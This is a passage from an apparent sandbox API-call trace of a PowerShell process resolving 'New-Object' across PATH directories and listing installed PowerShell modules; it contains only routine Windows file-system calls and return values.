(dwNewMode=0x0, lpOldMode=0x5bfed4e240) returned 1 [0191.136] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e1f0) returned 1 [0191.136] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0191.136] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0xb, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS", lpFilePart=0x0) returned 0xa [0191.136] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e2e0) returned 1 [0191.136] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e3c0 | out: lpFileInformation=0x5bfed4e3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x345c13e6, ftLastAccessTime.dwHighDateTime=0x1d5d695, ftLastWriteTime.dwLowDateTime=0x345c13e6, ftLastWriteTime.dwHighDateTime=0x1d5d695, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1 [0191.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2a0) returned 1 [0191.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0191.137] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0191.137] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0xb, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS", lpFilePart=0x0) returned 0xa [0191.137] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\New-Object.*", lpFindFileData=0x5bfed4e050 | out: lpFindFileData=0x5bfed4e050*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0191.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e240) returned 1 [0191.137] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e1f0) returned 1 [0191.137] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0191.137] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0191.137] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e2e0) returned 1 [0191.138] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e3c0 | out: lpFileInformation=0x5bfed4e3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x97384b75, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x97384b75, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x14000)) returned 1 [0191.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2a0) returned 1 [0191.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0191.138] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0191.138] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0191.138] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\New-Object.*", lpFindFileData=0x5bfed4e050 | out: lpFindFileData=0x5bfed4e050*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0191.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e240) returned 1 [0191.138] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e1f0) returned 1 [0191.138] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0191.138] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0191.138] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e2e0) returned 1 [0191.138] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e3c0 | out: lpFileInformation=0x5bfed4e3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1823edc4, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x9765981c, ftLastAccessTime.dwHighDateTime=0x1d5c555, ftLastWriteTime.dwLowDateTime=0x9765981c, ftLastWriteTime.dwHighDateTime=0x1d5c555, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0191.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2a0) returned 1 [0191.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0191.139] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0191.139] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0191.139] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\New-Object.*", lpFindFileData=0x5bfed4e050 | out: lpFindFileData=0x5bfed4e050*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0191.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e240) returned 1 [0191.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e1f0) returned 1 [0191.139] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0191.139] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x34, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0191.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e2e0) returned 1 [0191.139] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windowsapps"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e3c0 | out: lpFileInformation=0x5bfed4e3c0*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.139] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2a0) returned 1 [0191.139] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e330) returned 1 [0191.140] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0191.140] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x34, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0191.140] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\New-Object.*", lpFindFileData=0x5bfed4e050 | out: lpFindFileData=0x5bfed4e050*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0191.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e240) returned 1 [0191.140] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e1f0) returned 1 [0191.193] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x5bfed4e1f0, nSize=0xbc | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0x91 [0191.219] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules" (normalized: "c:\\users\\fd1hvy\\documents\\windowspowershell\\modules")) returned 0xffffffff [0191.276] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0191.310] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e350) returned 1 [0191.310] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0191.310] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0191.310] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x5bfed4e070 | out: lpFindFileData=0x5bfed4e070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ef70470b80 [0191.312] FindNextFileW (in: hFindFile=0x1ef70470b80, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.312] FindNextFileW (in: hFindFile=0x1ef70470b80, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation", cAlternateFileName="MICROS~1.VAL")) returned 1 [0191.313] FindNextFileW (in: hFindFile=0x1ef70470b80, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0191.313] FindNextFileW (in: hFindFile=0x1ef70470b80, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester", cAlternateFileName="")) returned 1 [0191.313] FindNextFileW (in: hFindFile=0x1ef70470b80, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0191.313] FindNextFileW (in: hFindFile=0x1ef70470b80, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 1 [0191.313] FindNextFileW (in: hFindFile=0x1ef70470b80, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0191.314] FindClose (in: hFindFile=0x1ef70470b80 | out: hFindFile=0x1ef70470b80) returned 1 [0191.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e290) returned 1 [0191.314] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e250) returned 1 [0191.363] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0191.363] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0191.364] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0191.364] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0191.364] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0191.364] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0191.365] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0191.365] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x55, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", lpFilePart=0x0) returned 0x54 [0191.365] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.365] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.365] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.366] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0191.366] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0191.366] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.366] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.368] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.368] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0191.368] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x32, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", lpFilePart=0x0) returned 0x31 [0191.368] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.368] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester" (normalized: "c:\\program files\\windowspowershell\\modules\\pester"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.369] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0191.370] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0191.370] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.370] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.370] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.371] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x36 [0191.371] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x36, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", lpFilePart=0x0) returned 0x35 [0191.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e320) returned 1 [0191.371] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline"), fInfoLevelId=0x0, lpFileInformation=0x5bfed4e400 | out: lpFileInformation=0x5bfed4e400*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0191.371] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x5bfed4e2e0) returned 1 [0191.371] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5bfed4e350) returned 1 [0191.372] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0191.372] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x55, lpBuffer=0x1ef6e3d9f90, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", lpFilePart=0x0) returned 0x54 [0191.372] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\*", lpFindFileData=0x5bfed4e070 | out: lpFindFileData=0x5bfed4e070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ef704707c0 [0191.372] FindNextFileW (in: hFindFile=0x1ef704707c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0191.372] FindNextFileW (in: hFindFile=0x1ef704707c0, lpFindFileData=0x5bfed4e030 | out: lpFindFileData=0x5bfed4e030*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50df8d3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a54419a, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 1 [0191.373] FindNextFileW (in: 